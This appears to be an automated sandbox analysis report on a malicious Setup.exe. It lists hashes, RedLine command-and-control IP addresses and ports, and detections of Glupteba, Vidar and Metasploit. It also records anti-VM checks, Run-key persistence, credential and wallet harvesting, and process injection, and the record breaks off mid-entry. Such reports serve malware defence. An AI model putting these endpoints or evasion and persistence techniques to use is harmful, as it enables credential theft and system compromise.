Resubmissions
15-10-2024 15:36
241015-s1zlzasdkc 1001-07-2024 18:32
240701-w6yteawhmq 1001-07-2024 14:52
240701-r82wmaxdnd 1001-07-2024 14:52
240701-r8syqa1dpp 1011-03-2024 21:22
240311-z8dsssgg58 1001-09-2021 13:18
210901-5bmxjspa5s 1001-09-2021 13:04
210901-te4btfspqa 1001-09-2021 05:12
210901-4wnkwm1p3j 1031-08-2021 21:47
210831-41rp97dma2 1031-08-2021 19:51
210831-359awwatje 10Analysis
-
max time kernel
1801s -
max time network
1809s -
platform
windows11_x64 -
resource
win11 -
submitted
01-09-2021 13:04
Static task
static1
Behavioral task
behavioral1
Sample
Setup (15).exe
Resource
win11
Behavioral task
behavioral2
Sample
Setup (18).exe
Resource
win11
Behavioral task
behavioral3
Sample
Setup (6).exe
Resource
win11
Behavioral task
behavioral4
Sample
Setup (7).exe
Resource
win11
Behavioral task
behavioral5
Sample
Setup (8).exe
Resource
win11
Behavioral task
behavioral6
Sample
Setup (9).exe
Resource
win11
Behavioral task
behavioral7
Sample
Setup.exe
Resource
win11
General
-
Target
Setup.exe
-
Size
631KB
-
MD5
cb927513ff8ebff4dd52a47f7e42f934
-
SHA1
0de47c02a8adc4940a6c18621b4e4a619641d029
-
SHA256
fd5c970806fba1500cbb6af5328329aeb43b8de3f02d90ec5d8cd1d57711622f
-
SHA512
988c8fd886a9155b7d190faf2ce6b34d910efcffcf1c6251f18a9d0c804a0ea26a89679273033ac98b200363c536426efd1ae9de445c34e660369abb06f0071c
Malware Config
Extracted
redline
bratanchikAYE
45.14.49.232:63850
Extracted
metasploit
windows/single_exec
Extracted
redline
spnewportspectr
135.148.139.222:1594
Extracted
redline
1
37.0.8.88:44263
Signatures
-
Glupteba Payload 1 IoCs
Processes:
resource yara_rule behavioral7/memory/2472-292-0x00000000046F0000-0x0000000005016000-memory.dmp family_glupteba -
MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
-
Process spawned unexpected child process 3 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
rundll32.exerUNdlL32.eXerundll32.exedescription pid pid_target process target process Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2424 3228 rundll32.exe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 7824 3228 rUNdlL32.eXe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 7388 3228 rundll32.exe -
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine Payload 14 IoCs
Processes:
resource yara_rule C:\Users\Admin\Documents\tp2MRmBOTGpUYV_b7fro7XIm.exe family_redline C:\Users\Admin\Documents\tp2MRmBOTGpUYV_b7fro7XIm.exe family_redline behavioral7/memory/3648-313-0x0000000000000000-mapping.dmp family_redline behavioral7/memory/3648-316-0x0000000000400000-0x0000000000422000-memory.dmp family_redline behavioral7/memory/3184-331-0x0000000000400000-0x000000000044A000-memory.dmp family_redline behavioral7/memory/3184-326-0x0000000000000000-mapping.dmp family_redline behavioral7/memory/3368-370-0x0000000000000000-mapping.dmp family_redline behavioral7/memory/1464-367-0x0000000000000000-mapping.dmp family_redline behavioral7/memory/5252-423-0x0000000000000000-mapping.dmp family_redline behavioral7/memory/1072-409-0x0000000000000000-mapping.dmp family_redline behavioral7/memory/3592-414-0x0000000000000000-mapping.dmp family_redline behavioral7/memory/6124-473-0x0000000000000000-mapping.dmp family_redline behavioral7/memory/5792-465-0x0000000000000000-mapping.dmp family_redline behavioral7/memory/672-503-0x0000000000000000-mapping.dmp family_redline -
Suspicious use of NtCreateProcessExOtherParentProcess 29 IoCs
Processes:
WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exe468MAX86kZBlx4ZNrrJVNKK8.exeWerFault.exe468MAX86kZBlx4ZNrrJVNKK8.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exe6Ghd6tbPXeIptbY5eR0zjYBH.exex9A7zksb2bNiKlCcEJwaFrCp.exeWerFault.exe6Ghd6tbPXeIptbY5eR0zjYBH.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exe468MAX86kZBlx4ZNrrJVNKK8.exeWerFault.exeWerFault.exedescription pid process target process PID 3712 created 560 3712 WerFault.exe 3yVTDofbAXuNCSkNG6JIEdzA.exe PID 3312 created 860 3312 WerFault.exe 1HwuLZOI_ia2IDtVepwPgTM7.exe PID 1096 created 3204 1096 WerFault.exe KPIi6venqhklUEudwrH7yto5.exe PID 1868 created 2396 1868 WerFault.exe xh0nODyBNlZlURB4Fb2VtkzP.exe PID 5084 created 2092 5084 WerFault.exe gQMDUFD63cpqvLTMYyNd2xM6.exe PID 3256 created 1264 3256 WerFault.exe EJ4nDdCHxLLkR1IVMy4D4SKF.exe PID 1468 created 2472 1468 WerFault.exe 0OzKzw6X1yYuvEgLz0FVhc2h.exe PID 5772 created 864 5772 468MAX86kZBlx4ZNrrJVNKK8.exe Cz2mJKDOU6JIpIwSwjt1s13E.exe PID 5788 created 1776 5788 WerFault.exe x9A7zksb2bNiKlCcEJwaFrCp.exe PID 4212 created 3008 4212 468MAX86kZBlx4ZNrrJVNKK8.exe 6Ghd6tbPXeIptbY5eR0zjYBH.exe PID 6680 created 3788 6680 WerFault.exe r8ZSgypTHmqCMQUO_Hacoo3q.exe PID 3676 created 6824 3676 WerFault.exe WerFault.exe PID 4796 created 7952 4796 WerFault.exe rundll32.exe PID 5940 created 7768 5940 WerFault.exe 6Ghd6tbPXeIptbY5eR0zjYBH.exe PID 8600 created 8476 8600 6Ghd6tbPXeIptbY5eR0zjYBH.exe 468MAX86kZBlx4ZNrrJVNKK8.exe PID 4416 created 1420 4416 x9A7zksb2bNiKlCcEJwaFrCp.exe b_sIp1i9t84MS7P5nKEJxyEy.exe PID 2916 created 8872 2916 WerFault.exe HSyCeLswLtnKLr1JGGXchIA7.exe PID 3256 created 8548 3256 WerFault.exe PvWSUKT7mAH6NZ1rCTu4bLlN.exe PID 3120 created 8384 3120 6Ghd6tbPXeIptbY5eR0zjYBH.exe ipEAPRT0zTvfXX_Xlr21VYec.exe PID 8328 created 3496 8328 WerFault.exe 2580479.exe PID 8016 created 6840 8016 WerFault.exe 468MAX86kZBlx4ZNrrJVNKK8.exe PID 2624 created 6864 2624 WerFault.exe PID 2624 created 6024 2624 WerFault.exe 4849177.exe PID 7152 created 5536 7152 WerFault.exe 2537226.exe PID 4420 created 9124 4420 WerFault.exe 6Ghd6tbPXeIptbY5eR0zjYBH.exe PID 9004 created 6284 9004 WerFault.exe 468MAX86kZBlx4ZNrrJVNKK8.exe PID 2200 created 2012 2200 468MAX86kZBlx4ZNrrJVNKK8.exe 4309220.exe PID 9284 created 8504 9284 WerFault.exe pSz9cMYbBWKKlcYxPIQ9ZUGa.exe PID 9416 created 10068 9416 WerFault.exe Yuvk9b6ccodvNsR2JwuxBAfz.exe -
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
-
Vidar Stealer 1 IoCs
Processes:
resource yara_rule behavioral7/memory/864-493-0x0000000000930000-0x0000000000A03000-memory.dmp family_vidar -
Downloads MZ/PE file
-
Executes dropped EXE 64 IoCs
Processes:
KPIi6venqhklUEudwrH7yto5.exex9A7zksb2bNiKlCcEJwaFrCp.exeCz2mJKDOU6JIpIwSwjt1s13E.exes5LTZzJ14a7hoh1dzHlb0_JV.exe3yVTDofbAXuNCSkNG6JIEdzA.exe1OiXCcYBqCNSAzwk7Sl2UQKi.exe6Ghd6tbPXeIptbY5eR0zjYBH.exe1HwuLZOI_ia2IDtVepwPgTM7.exeSm9jDaF5Rn5LS3KcKxG2nzVR.exeSbFnp3JBK5VZBGiEynEtSQEe.exev0EJ9FujNNKwBVFI7ameFHNX.exe468MAX86kZBlx4ZNrrJVNKK8.exe83rQNR7RSbxdY8xX2J7rAyEE.exetp2MRmBOTGpUYV_b7fro7XIm.exeBcYTY2JXtkuAtChqtILjkTTh.exexh0nODyBNlZlURB4Fb2VtkzP.exeEJ4nDdCHxLLkR1IVMy4D4SKF.exeV3b1g_uOXSquvDp3y3Jp932Y.exeMt5xso5G5tPeikFaMR0NRjyf.exegQMDUFD63cpqvLTMYyNd2xM6.exeQU2OVBU5HGnIhS7hhd4pOPiv.exezaJAoc_OY4FNXjLZpLLCIcQq.exeb_sIp1i9t84MS7P5nKEJxyEy.exeinst001.executm3.exemd8_8eus.exeq7HLuKYNdF36DsVbkZjiBMQg.tmpun9LQrwOV2iHPurv5fMmo2bD.exev0EJ9FujNNKwBVFI7ameFHNX.exeKRkNvH~YgUUt9O.exE468MAX86kZBlx4ZNrrJVNKK8.exex9A7zksb2bNiKlCcEJwaFrCp.exe6Ghd6tbPXeIptbY5eR0zjYBH.exe2580479.exe6Ghd6tbPXeIptbY5eR0zjYBH.exe468MAX86kZBlx4ZNrrJVNKK8.exex9A7zksb2bNiKlCcEJwaFrCp.exe6Ghd6tbPXeIptbY5eR0zjYBH.exe6Ghd6tbPXeIptbY5eR0zjYBH.exeSetup.exe1167733.exeJ77cmUgJX0OQi4nZtiqUPG2L.exe2537226.exe468MAX86kZBlx4ZNrrJVNKK8.exex9A7zksb2bNiKlCcEJwaFrCp.exe6Ghd6tbPXeIptbY5eR0zjYBH.exe4849177.exe3741778.exex9A7zksb2bNiKlCcEJwaFrCp.exe2293663.exe468MAX86kZBlx4ZNrrJVNKK8.exex9A7zksb2bNiKlCcEJwaFrCp.exe6Ghd6tbPXeIptbY5eR0zjYBH.exe9840432e051a6fa1192594db02b80a4c1fd73456.exePBrowFile15.exex9A7zksb2bNiKlCcEJwaFrCp.exe4309220.exe468MAX86kZBlx4ZNrrJVNKK8.exex9A7zksb2bNiKlCcEJwaFrCp.exelg.exeLivelyScreenRecS3.0.exenote866.exex9A7zksb2bNiKlCcEJwaFrCp.exestats.exepid process 3204 KPIi6venqhklUEudwrH7yto5.exe 856 x9A7zksb2bNiKlCcEJwaFrCp.exe 864 Cz2mJKDOU6JIpIwSwjt1s13E.exe 3196 s5LTZzJ14a7hoh1dzHlb0_JV.exe 560 3yVTDofbAXuNCSkNG6JIEdzA.exe 936 1OiXCcYBqCNSAzwk7Sl2UQKi.exe 452 6Ghd6tbPXeIptbY5eR0zjYBH.exe 860 1HwuLZOI_ia2IDtVepwPgTM7.exe 1452 Sm9jDaF5Rn5LS3KcKxG2nzVR.exe 1776 SbFnp3JBK5VZBGiEynEtSQEe.exe 1872 v0EJ9FujNNKwBVFI7ameFHNX.exe 1852 468MAX86kZBlx4ZNrrJVNKK8.exe 2076 83rQNR7RSbxdY8xX2J7rAyEE.exe 2152 tp2MRmBOTGpUYV_b7fro7XIm.exe 2348 BcYTY2JXtkuAtChqtILjkTTh.exe 2396 xh0nODyBNlZlURB4Fb2VtkzP.exe 1264 EJ4nDdCHxLLkR1IVMy4D4SKF.exe 2472 V3b1g_uOXSquvDp3y3Jp932Y.exe 2988 Mt5xso5G5tPeikFaMR0NRjyf.exe 2092 gQMDUFD63cpqvLTMYyNd2xM6.exe 4728 QU2OVBU5HGnIhS7hhd4pOPiv.exe 3984 zaJAoc_OY4FNXjLZpLLCIcQq.exe 1420 b_sIp1i9t84MS7P5nKEJxyEy.exe 2744 inst001.exe 1048 cutm3.exe 1408 md8_8eus.exe 1204 q7HLuKYNdF36DsVbkZjiBMQg.tmp 4936 un9LQrwOV2iHPurv5fMmo2bD.exe 4276 v0EJ9FujNNKwBVFI7ameFHNX.exe 2220 KRkNvH~YgUUt9O.exE 3500 468MAX86kZBlx4ZNrrJVNKK8.exe 3648 x9A7zksb2bNiKlCcEJwaFrCp.exe 3184 6Ghd6tbPXeIptbY5eR0zjYBH.exe 3496 2580479.exe 1176 6Ghd6tbPXeIptbY5eR0zjYBH.exe 1464 468MAX86kZBlx4ZNrrJVNKK8.exe 3368 x9A7zksb2bNiKlCcEJwaFrCp.exe 2272 6Ghd6tbPXeIptbY5eR0zjYBH.exe 5140 6Ghd6tbPXeIptbY5eR0zjYBH.exe 5160 Setup.exe 5328 1167733.exe 5368 J77cmUgJX0OQi4nZtiqUPG2L.exe 5536 2537226.exe 1072 468MAX86kZBlx4ZNrrJVNKK8.exe 3592 x9A7zksb2bNiKlCcEJwaFrCp.exe 5252 6Ghd6tbPXeIptbY5eR0zjYBH.exe 6024 4849177.exe 5244 3741778.exe 5864 x9A7zksb2bNiKlCcEJwaFrCp.exe 3004 2293663.exe 5792 468MAX86kZBlx4ZNrrJVNKK8.exe 984 x9A7zksb2bNiKlCcEJwaFrCp.exe 6124 6Ghd6tbPXeIptbY5eR0zjYBH.exe 1848 9840432e051a6fa1192594db02b80a4c1fd73456.exe 5316 PBrowFile15.exe 672 x9A7zksb2bNiKlCcEJwaFrCp.exe 2012 4309220.exe 3996 468MAX86kZBlx4ZNrrJVNKK8.exe 4060 x9A7zksb2bNiKlCcEJwaFrCp.exe 5484 lg.exe 2140 LivelyScreenRecS3.0.exe 4668 note866.exe 5416 x9A7zksb2bNiKlCcEJwaFrCp.exe 3200 stats.exe -
Checks BIOS information in registry 2 TTPs 8 IoCs
BIOS information is often read in order to detect sandboxing environments.
Processes:
BcYTY2JXtkuAtChqtILjkTTh.exezaJAoc_OY4FNXjLZpLLCIcQq.exeql_KNI31XxIlq1zxg9cGzU8I.exex9A7zksb2bNiKlCcEJwaFrCp.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion BcYTY2JXtkuAtChqtILjkTTh.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion BcYTY2JXtkuAtChqtILjkTTh.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion zaJAoc_OY4FNXjLZpLLCIcQq.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion zaJAoc_OY4FNXjLZpLLCIcQq.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion ql_KNI31XxIlq1zxg9cGzU8I.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion ql_KNI31XxIlq1zxg9cGzU8I.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion x9A7zksb2bNiKlCcEJwaFrCp.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion x9A7zksb2bNiKlCcEJwaFrCp.exe -
Loads dropped DLL 11 IoCs
Processes:
q7HLuKYNdF36DsVbkZjiBMQg.tmpstats.tmp6Ghd6tbPXeIptbY5eR0zjYBH.exe9840432e051a6fa1192594db02b80a4c1fd73456.exerundll32.exeWerFault.exepid process 1204 q7HLuKYNdF36DsVbkZjiBMQg.tmp 1204 q7HLuKYNdF36DsVbkZjiBMQg.tmp 1996 stats.tmp 1996 stats.tmp 3008 6Ghd6tbPXeIptbY5eR0zjYBH.exe 1848 9840432e051a6fa1192594db02b80a4c1fd73456.exe 1848 9840432e051a6fa1192594db02b80a4c1fd73456.exe 1848 9840432e051a6fa1192594db02b80a4c1fd73456.exe 7952 rundll32.exe 8640 WerFault.exe 8640 WerFault.exe -
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
-
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Processes:
resource yara_rule C:\Users\Admin\Documents\BcYTY2JXtkuAtChqtILjkTTh.exe themida C:\Users\Admin\Documents\zaJAoc_OY4FNXjLZpLLCIcQq.exe themida C:\Users\Admin\Documents\BcYTY2JXtkuAtChqtILjkTTh.exe themida C:\Users\Admin\Documents\zaJAoc_OY4FNXjLZpLLCIcQq.exe themida behavioral7/memory/2348-301-0x0000000000CB0000-0x0000000000CB1000-memory.dmp themida behavioral7/memory/3984-305-0x0000000000310000-0x0000000000311000-memory.dmp themida -
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Adds Run key to start application 2 TTPs 5 IoCs
Processes:
6Ghd6tbPXeIptbY5eR0zjYBH.exetmp9B95_tmp.exemsedge.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-257790753-2419383948-818201544-1000\Software\Microsoft\Windows\CurrentVersion\Run\WinHost = "C:\\Users\\Admin\\AppData\\Roaming\\WinHost\\WinHoster.exe" 6Ghd6tbPXeIptbY5eR0zjYBH.exe Key created \REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce tmp9B95_tmp.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\"" tmp9B95_tmp.exe Key created \REGISTRY\USER\S-1-5-21-257790753-2419383948-818201544-1000\Software\Microsoft\Windows\CurrentVersion\Run msedge.exe Set value (str) \REGISTRY\USER\S-1-5-21-257790753-2419383948-818201544-1000\Software\Microsoft\Windows\CurrentVersion\Run\MicrosoftEdgeAutoLaunch_5EFC0ECB77A7585FE9DCDD0B2E946A2B = "\"C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe\" --no-startup-window /prefetch:5" msedge.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Processes:
BcYTY2JXtkuAtChqtILjkTTh.exezaJAoc_OY4FNXjLZpLLCIcQq.exemd8_8eus.exex9A7zksb2bNiKlCcEJwaFrCp.exeql_KNI31XxIlq1zxg9cGzU8I.exedescription ioc process Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA BcYTY2JXtkuAtChqtILjkTTh.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA zaJAoc_OY4FNXjLZpLLCIcQq.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA md8_8eus.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA x9A7zksb2bNiKlCcEJwaFrCp.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA ql_KNI31XxIlq1zxg9cGzU8I.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Looks up external IP address via web service 13 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 51 ip-api.com 87 ipinfo.io 113 ipinfo.io 209 ipinfo.io 351 ipinfo.io 352 ipinfo.io 386 ipinfo.io 1 ipinfo.io 485 ipinfo.io 89 ipinfo.io 140 ipinfo.io 185 ipinfo.io 22 ipinfo.io -
Suspicious use of NtSetInformationThreadHideFromDebugger 4 IoCs
Processes:
BcYTY2JXtkuAtChqtILjkTTh.exezaJAoc_OY4FNXjLZpLLCIcQq.exeql_KNI31XxIlq1zxg9cGzU8I.exex9A7zksb2bNiKlCcEJwaFrCp.exepid process 2348 BcYTY2JXtkuAtChqtILjkTTh.exe 3984 zaJAoc_OY4FNXjLZpLLCIcQq.exe 3660 ql_KNI31XxIlq1zxg9cGzU8I.exe 5876 x9A7zksb2bNiKlCcEJwaFrCp.exe -
Suspicious use of SetThreadContext 64 IoCs
Processes:
x9A7zksb2bNiKlCcEJwaFrCp.exe6Ghd6tbPXeIptbY5eR0zjYBH.exe468MAX86kZBlx4ZNrrJVNKK8.exeSm9jDaF5Rn5LS3KcKxG2nzVR.exePvWSUKT7mAH6NZ1rCTu4bLlN.exeYuvk9b6ccodvNsR2JwuxBAfz.exedescription pid process target process PID 856 set thread context of 3648 856 x9A7zksb2bNiKlCcEJwaFrCp.exe x9A7zksb2bNiKlCcEJwaFrCp.exe PID 452 set thread context of 3184 452 6Ghd6tbPXeIptbY5eR0zjYBH.exe 6Ghd6tbPXeIptbY5eR0zjYBH.exe PID 1852 set thread context of 1464 1852 468MAX86kZBlx4ZNrrJVNKK8.exe 468MAX86kZBlx4ZNrrJVNKK8.exe PID 856 set thread context of 3368 856 x9A7zksb2bNiKlCcEJwaFrCp.exe x9A7zksb2bNiKlCcEJwaFrCp.exe PID 1852 set thread context of 1072 1852 468MAX86kZBlx4ZNrrJVNKK8.exe 468MAX86kZBlx4ZNrrJVNKK8.exe PID 856 set thread context of 3592 856 x9A7zksb2bNiKlCcEJwaFrCp.exe x9A7zksb2bNiKlCcEJwaFrCp.exe PID 452 set thread context of 5252 452 6Ghd6tbPXeIptbY5eR0zjYBH.exe 6Ghd6tbPXeIptbY5eR0zjYBH.exe PID 1852 set thread context of 5792 1852 468MAX86kZBlx4ZNrrJVNKK8.exe 468MAX86kZBlx4ZNrrJVNKK8.exe PID 452 set thread context of 6124 452 6Ghd6tbPXeIptbY5eR0zjYBH.exe 6Ghd6tbPXeIptbY5eR0zjYBH.exe PID 856 set thread context of 672 856 x9A7zksb2bNiKlCcEJwaFrCp.exe x9A7zksb2bNiKlCcEJwaFrCp.exe PID 1852 set thread context of 3996 1852 468MAX86kZBlx4ZNrrJVNKK8.exe 468MAX86kZBlx4ZNrrJVNKK8.exe PID 856 set thread context of 5416 856 x9A7zksb2bNiKlCcEJwaFrCp.exe x9A7zksb2bNiKlCcEJwaFrCp.exe PID 1852 set thread context of 5944 1852 468MAX86kZBlx4ZNrrJVNKK8.exe 468MAX86kZBlx4ZNrrJVNKK8.exe PID 856 set thread context of 3860 856 x9A7zksb2bNiKlCcEJwaFrCp.exe x9A7zksb2bNiKlCcEJwaFrCp.exe PID 452 set thread context of 5700 452 6Ghd6tbPXeIptbY5eR0zjYBH.exe 6Ghd6tbPXeIptbY5eR0zjYBH.exe PID 1852 set thread context of 256 1852 468MAX86kZBlx4ZNrrJVNKK8.exe 468MAX86kZBlx4ZNrrJVNKK8.exe PID 1852 set thread context of 776 1852 468MAX86kZBlx4ZNrrJVNKK8.exe 468MAX86kZBlx4ZNrrJVNKK8.exe PID 856 set thread context of 6044 856 x9A7zksb2bNiKlCcEJwaFrCp.exe x9A7zksb2bNiKlCcEJwaFrCp.exe PID 452 set thread context of 5984 452 6Ghd6tbPXeIptbY5eR0zjYBH.exe 6Ghd6tbPXeIptbY5eR0zjYBH.exe PID 856 set thread context of 6272 856 x9A7zksb2bNiKlCcEJwaFrCp.exe x9A7zksb2bNiKlCcEJwaFrCp.exe PID 1852 set thread context of 6824 1852 468MAX86kZBlx4ZNrrJVNKK8.exe WerFault.exe PID 856 set thread context of 7060 856 x9A7zksb2bNiKlCcEJwaFrCp.exe x9A7zksb2bNiKlCcEJwaFrCp.exe PID 452 set thread context of 6568 452 6Ghd6tbPXeIptbY5eR0zjYBH.exe 6Ghd6tbPXeIptbY5eR0zjYBH.exe PID 452 set thread context of 1176 452 6Ghd6tbPXeIptbY5eR0zjYBH.exe 6Ghd6tbPXeIptbY5eR0zjYBH.exe PID 856 set thread context of 4648 856 x9A7zksb2bNiKlCcEJwaFrCp.exe x9A7zksb2bNiKlCcEJwaFrCp.exe PID 452 set thread context of 5704 452 6Ghd6tbPXeIptbY5eR0zjYBH.exe 6Ghd6tbPXeIptbY5eR0zjYBH.exe PID 856 set thread context of 5988 856 x9A7zksb2bNiKlCcEJwaFrCp.exe x9A7zksb2bNiKlCcEJwaFrCp.exe PID 856 set thread context of 7364 856 x9A7zksb2bNiKlCcEJwaFrCp.exe x9A7zksb2bNiKlCcEJwaFrCp.exe PID 452 set thread context of 7288 452 6Ghd6tbPXeIptbY5eR0zjYBH.exe 6Ghd6tbPXeIptbY5eR0zjYBH.exe PID 1852 set thread context of 3844 1852 468MAX86kZBlx4ZNrrJVNKK8.exe 468MAX86kZBlx4ZNrrJVNKK8.exe PID 1852 set thread context of 8096 1852 468MAX86kZBlx4ZNrrJVNKK8.exe 468MAX86kZBlx4ZNrrJVNKK8.exe PID 856 set thread context of 8168 856 x9A7zksb2bNiKlCcEJwaFrCp.exe x9A7zksb2bNiKlCcEJwaFrCp.exe PID 452 set thread context of 8044 452 6Ghd6tbPXeIptbY5eR0zjYBH.exe 6Ghd6tbPXeIptbY5eR0zjYBH.exe PID 1852 set thread context of 5260 1852 468MAX86kZBlx4ZNrrJVNKK8.exe 468MAX86kZBlx4ZNrrJVNKK8.exe PID 452 set thread context of 1168 452 6Ghd6tbPXeIptbY5eR0zjYBH.exe 6Ghd6tbPXeIptbY5eR0zjYBH.exe PID 1852 set thread context of 7928 1852 468MAX86kZBlx4ZNrrJVNKK8.exe 468MAX86kZBlx4ZNrrJVNKK8.exe PID 856 set thread context of 7684 856 x9A7zksb2bNiKlCcEJwaFrCp.exe x9A7zksb2bNiKlCcEJwaFrCp.exe PID 1452 set thread context of 8668 1452 Sm9jDaF5Rn5LS3KcKxG2nzVR.exe Sm9jDaF5Rn5LS3KcKxG2nzVR.exe PID 1852 set thread context of 8476 1852 468MAX86kZBlx4ZNrrJVNKK8.exe 468MAX86kZBlx4ZNrrJVNKK8.exe PID 452 set thread context of 8688 452 6Ghd6tbPXeIptbY5eR0zjYBH.exe 6Ghd6tbPXeIptbY5eR0zjYBH.exe PID 856 set thread context of 8964 856 x9A7zksb2bNiKlCcEJwaFrCp.exe x9A7zksb2bNiKlCcEJwaFrCp.exe PID 1852 set thread context of 8276 1852 468MAX86kZBlx4ZNrrJVNKK8.exe 468MAX86kZBlx4ZNrrJVNKK8.exe PID 452 set thread context of 4404 452 6Ghd6tbPXeIptbY5eR0zjYBH.exe 6Ghd6tbPXeIptbY5eR0zjYBH.exe PID 856 set thread context of 8856 856 x9A7zksb2bNiKlCcEJwaFrCp.exe x9A7zksb2bNiKlCcEJwaFrCp.exe PID 1852 set thread context of 8436 1852 468MAX86kZBlx4ZNrrJVNKK8.exe 468MAX86kZBlx4ZNrrJVNKK8.exe PID 856 set thread context of 7496 856 x9A7zksb2bNiKlCcEJwaFrCp.exe x9A7zksb2bNiKlCcEJwaFrCp.exe PID 452 set thread context of 4616 452 6Ghd6tbPXeIptbY5eR0zjYBH.exe 6Ghd6tbPXeIptbY5eR0zjYBH.exe PID 1852 set thread context of 8912 1852 468MAX86kZBlx4ZNrrJVNKK8.exe 468MAX86kZBlx4ZNrrJVNKK8.exe PID 856 set thread context of 7440 856 x9A7zksb2bNiKlCcEJwaFrCp.exe x9A7zksb2bNiKlCcEJwaFrCp.exe PID 7688 set thread context of 2192 7688 PvWSUKT7mAH6NZ1rCTu4bLlN.exe PvWSUKT7mAH6NZ1rCTu4bLlN.exe PID 452 set thread context of 2024 452 6Ghd6tbPXeIptbY5eR0zjYBH.exe 6Ghd6tbPXeIptbY5eR0zjYBH.exe PID 856 set thread context of 7968 856 x9A7zksb2bNiKlCcEJwaFrCp.exe x9A7zksb2bNiKlCcEJwaFrCp.exe PID 5020 set thread context of 4284 5020 Yuvk9b6ccodvNsR2JwuxBAfz.exe Yuvk9b6ccodvNsR2JwuxBAfz.exe PID 1852 set thread context of 6664 1852 468MAX86kZBlx4ZNrrJVNKK8.exe 468MAX86kZBlx4ZNrrJVNKK8.exe PID 452 set thread context of 9124 452 6Ghd6tbPXeIptbY5eR0zjYBH.exe 6Ghd6tbPXeIptbY5eR0zjYBH.exe PID 7688 set thread context of 6384 7688 PvWSUKT7mAH6NZ1rCTu4bLlN.exe PvWSUKT7mAH6NZ1rCTu4bLlN.exe PID 856 set thread context of 4416 856 x9A7zksb2bNiKlCcEJwaFrCp.exe x9A7zksb2bNiKlCcEJwaFrCp.exe PID 5020 set thread context of 2036 5020 Yuvk9b6ccodvNsR2JwuxBAfz.exe Yuvk9b6ccodvNsR2JwuxBAfz.exe PID 1852 set thread context of 6924 1852 468MAX86kZBlx4ZNrrJVNKK8.exe 468MAX86kZBlx4ZNrrJVNKK8.exe PID 7688 set thread context of 7352 7688 PvWSUKT7mAH6NZ1rCTu4bLlN.exe PvWSUKT7mAH6NZ1rCTu4bLlN.exe PID 452 set thread context of 3992 452 6Ghd6tbPXeIptbY5eR0zjYBH.exe 6Ghd6tbPXeIptbY5eR0zjYBH.exe PID 856 set thread context of 7828 856 x9A7zksb2bNiKlCcEJwaFrCp.exe x9A7zksb2bNiKlCcEJwaFrCp.exe PID 856 set thread context of 8256 856 x9A7zksb2bNiKlCcEJwaFrCp.exe x9A7zksb2bNiKlCcEJwaFrCp.exe PID 5020 set thread context of 9212 5020 Yuvk9b6ccodvNsR2JwuxBAfz.exe Yuvk9b6ccodvNsR2JwuxBAfz.exe -
Drops file in Program Files directory 20 IoCs
Processes:
83rQNR7RSbxdY8xX2J7rAyEE.exeMt5xso5G5tPeikFaMR0NRjyf.exeSetup.exexjikSqBs9p71niqBEOVxN0cY.exePvWSUKT7mAH6NZ1rCTu4bLlN.exedescription ioc process File opened for modification C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe 83rQNR7RSbxdY8xX2J7rAyEE.exe File created C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe Mt5xso5G5tPeikFaMR0NRjyf.exe File opened for modification C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe Mt5xso5G5tPeikFaMR0NRjyf.exe File opened for modification C:\Program Files (x86)\SmartPDF\SmartPDF\LivelyScreenRecS3.0.exe Setup.exe File opened for modification C:\Program Files (x86)\Company\NewProduct\inst001.exe xjikSqBs9p71niqBEOVxN0cY.exe File opened for modification C:\Program Files (x86)\Company\NewProduct\inst001.exe 83rQNR7RSbxdY8xX2J7rAyEE.exe File opened for modification C:\Program Files (x86)\SmartPDF\SmartPDF\stats.exe Setup.exe File opened for 